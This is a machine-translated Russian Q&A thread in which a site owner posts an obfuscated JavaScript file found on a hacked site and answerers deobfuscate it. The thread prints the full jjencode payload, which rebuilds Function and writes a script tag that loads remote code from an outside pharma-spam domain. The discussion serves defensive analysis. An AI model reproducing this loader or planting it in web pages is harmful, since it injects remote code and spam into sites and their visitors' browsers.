Очень интересная Javascript Obfuscation. Помогите ему разобраться

Question

Я узнал, что один из моих сайтов был взломан, и при расследовании я посмотрел файл javasript, который был загружен, и я не мог поверить, что он действительно служил цели из-за безумного обфускации.

Я так заинтригован, что мне нужно знать, как, черт возьми, это даже работает. Если кто-то может предоставить любую информацию, которая очень ценится! Плюс это поможет мне узнать другие скрытые взломанные файлы на моем сервере!

Вот содержание:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"(\\\"<\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"=\\\\\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"://"+$.$$_$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+"-\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.___+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.__$+$.$$_+$._$$+"/"+$.__+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+$.$$_$+$._$+(![]+"")[$._$_]+"/\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"\\\\\\\"></\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+">\\\");"+"\"")())(); 

Answer 1

Я запустил его в консоли - это, кажется, заменить HTML веб-сайта с спам ссылки пытаются продать наркотики - «Виагры $ 108» и т.д.

Answer 2

Во-первых, добавить некоторые пробелы:

$ = ~ []; 
$ = { 
    ___: ++$, 
    $$$$: (![] + "")[$], 
    __$: ++$, 
    $_$_: (![] + "")[$], 
    _$_: ++$, 
    $_$$: ({} + "")[$], 
    $$_$: ($[$] + "")[$], 
    _$$: ++$, 
    $$$_: (!"" + "")[$], 
    $__: ++$, 
    $_$: ++$, 
    $$__: ({} + "")[$], 
    $$_: ++$, 
    $$$: ++$, 
    $___: ++$, 
    $__$: ++$ 
}; 
$.$_ = ($.$_ = $ + "")[$.$_$] 
    + ($._$ = $.$_[$.__$]) 
    + ($.$$ = ($.$ + "")[$.__$]) 
    + ((!$) + "")[$._$$] 
    + ($.__ = $.$_[$.$$_]) 
    + ($.$ = (!"" + "")[$.__$]) 
    + ($._ = (!"" + "")[$._$_]) 
    + $.$_[$.$_$] 
    + $.__ 
    + $._$ 
    + $.$; 
$.$$ = $.$ 
    + (!"" + "")[$._$$] 
    + $.__ 
    + $._ 
    + $.$ 
    + $.$$; 
$.$ = ($.___)[$.$_][$.$_]; 
$.$($.$(
    $.$$ 
    + "\"" + $.$$_$ + $._$ + $.$$__ + $._ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ 
    + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ 
    + ".\\" + $.__$ + $.$$_ + $.$$$ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ + $.__ + $.$$$_ 
    + "(\\\"<\\" + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + "\\" + $.$__ + $.___ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__ 
    + "=\\\\\\\"\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__ 
    + "\\" + $.__$ + $.$$_ + $.___ + "://" + $.$$_$ 
    + "\\" + $.__$ + $.$_$ + $.$$_ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "-\\" + $.__$ + $.$$_ + $._$$ + $.$$$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$$_ + $.$$_ + $.$$$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.___ + $._$ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "." + $.$$__ + $._$ 
    + "\\" + $.__$ + $.$_$ + $.$_$ 
    + "/\\" + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "/" + $.__ 
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$_$_ 
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$_$_ + $.$$_$ + $._$ + (![] + "")[$._$_] 
    + "/\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$_$ + $.__$ + $.$$_$ + $.$$$_ + $.$_$$ + $.$_$_ 
    + "\\" + $.__$ + $.$$_ + $._$_ + ".\\" + $.__$ + $.$_$ + $._$_ 
    + "\\" + $.__$ + $.$$_ + $._$$ 
    + "\\\\\\\"></\\" 
    + $.__$ + $.$$_ + $._$$ + $.$$__ 
    + "\\" + $.__$ + $.$$_ + $._$_ 
    + "\\" + $.__$ + $.$_$ + $.__$ 
    + "\\" + $.__$ + $.$$_ + $.___ + $.__ 
    + ">\\\");" 
    + "\"" 
)())(); 

1. Все, кроме последнего оператора, создает объект $, значениями которого являются в основном числа и строки, такие как "f", и "return".

Особое значение, однако, составляет $.$, что составляет Function. Вызов Function(s) создает функцию, тело которой равно s.

Например, Function('return 1;')function() { return 1; }.

По существу, Function(s)() (или в этом случае, $.$(s)()) является эквивалентом eval(s).

2. Все конкатенации строк в этом последнем утверждении создают строку.

return"docu\155e\156t.\167\162\151te(\"<\163c\162\151\160t\40\163\162c=\\\"\150tt\160://d\156\163-\163e\162\166e\162\150o\155e.co\155/\163c\162\151\160t\163/t\162a\155adol/\163\151deba\162.\152\163\\\"></\163c\162\151\160t>\");\" 

3. , который при оценке с $.$ возвращается в виде строки

document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>"); 

4. Calling $.$ второй раз на этот результат завершает атаку.

Этот код явно предназначен для выглядят как безобидные, насколько это возможно, не используя eval, Function, function или любые HTML-сущности, как <.

Двойной вызов Function, что ИМО не является необходимым, но я полагаю, что это еще более запутывает код.

Теперь, что касается окончательного вопроса, вы намерены запускать сторонний Javascript? Если это так, единственная надежная инфраструктура, о которой я знаю, примерно такая: Google Caja.

EDIT: Это, как представляется, являются результатом jjencode для

document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>"); 

jjencode даже имеет возможность возвращать палиндромное запутывание.